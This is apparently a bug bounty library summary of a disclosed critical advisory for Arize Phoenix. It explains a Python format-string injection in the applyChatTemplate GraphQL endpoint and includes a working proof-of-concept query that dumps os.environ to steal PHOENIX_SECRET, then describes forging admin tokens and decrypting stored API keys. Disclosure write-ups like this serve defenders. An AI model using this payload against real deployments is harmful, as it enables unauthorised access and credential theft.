# Phoenix: Format String Injection in applyChatTemplate

Phoenix's applyChatTemplate GraphQL endpoint renders user templates with Python str.format, letting attackers traverse attributes to read os.environ and steal PHOENIX_SECRET.

- Payout: Research
- Severity: critical
- Program: Arize Phoenix
- Found by: OmarXtream
- Disclosed: 2026-11-17
- CVE: CVE-2026-53998
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-gfv3-m769-5xm3
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-gfv3-m769-5xm3
- Tags: area:ai domain:ai domain:api impact:ato impact:data-leak kind:research platform:ghsa sev:critical tech:graphql tech:python technique:source-review vuln:info-disclosure vuln:secrets-leak

**Target:** applyChatTemplate GraphQL query endpoint
**Root cause:** FStringTemplateFormatter._format() passes attacker-controlled template text to Python format-string rendering, and DotDict.__getattr__ fails to block dunder attribute traversal, exposing object internals.
**Steps:**
1. Send GraphQL query `applyChatTemplate(template: $t, templateOptions: $o)` with format `F_STRING`.
2. Set template text to `{u.__class__.__bases__[0].__init__.__globals__[_os].environ}` and variables `{"u":{"x":1}}`.
3. Read leaked environment variables (including PHOENIX_SECRET) from the returned message content.
**How found:** Reporter recognized that the F_STRING template option feeds user input into Python format rendering and that the DotDict wrapper's __getattr__ does not actually restrict dunder attribute access, then chained __class__.__bases__[0].__init__.__globals__ to reach os.environ.
**Exploitation:** Unauthenticated (default installs) or any-privilege authenticated attacker submits the crafted GraphQL query; the format string traverses from the variable object through __class__/__bases__/__init__.__globals__ to reach the os module and dump os.environ in the response. PHOENIX_SECRET then allows forging admin JWTs and deriving the Fernet key to decrypt stored LLM API keys and OAuth tokens.
**Escalation:** Leaked PHOENIX_SECRET enables forging admin session tokens and decrypting all stored credentials in the database.
**Insight:** When a feature exposes Python str.format to users, the wrapper's attribute guard is irrelevant—traverse via __class__.__bases__[0].__init__.__globals__ to reach imported modules like os; check whether the guard sits on the wrapper rather than Formatter.get_field().

## Proof of concept (copied exactly from the original report)

**GraphQL payload reading os.environ via format string**

```
{
  "query": "query($t: PromptChatTemplateInput!, $o: PromptTemplateOptions!) { applyChatTemplate(template: $t, templateOptions: $o) { messages { content { ... on TextContentPart { text { text } } } } } }",
  "variables": {
    "t": { "messages": [{ "role": "USER", "content": [{ "text": { "text": "{u.__class__.__bases__[0].__init__.__globals__[_os].environ}" } }] }] },
    "o": { "format": "F_STRING", "variables": { "u": { "x": 1 } } }
  }
}
```

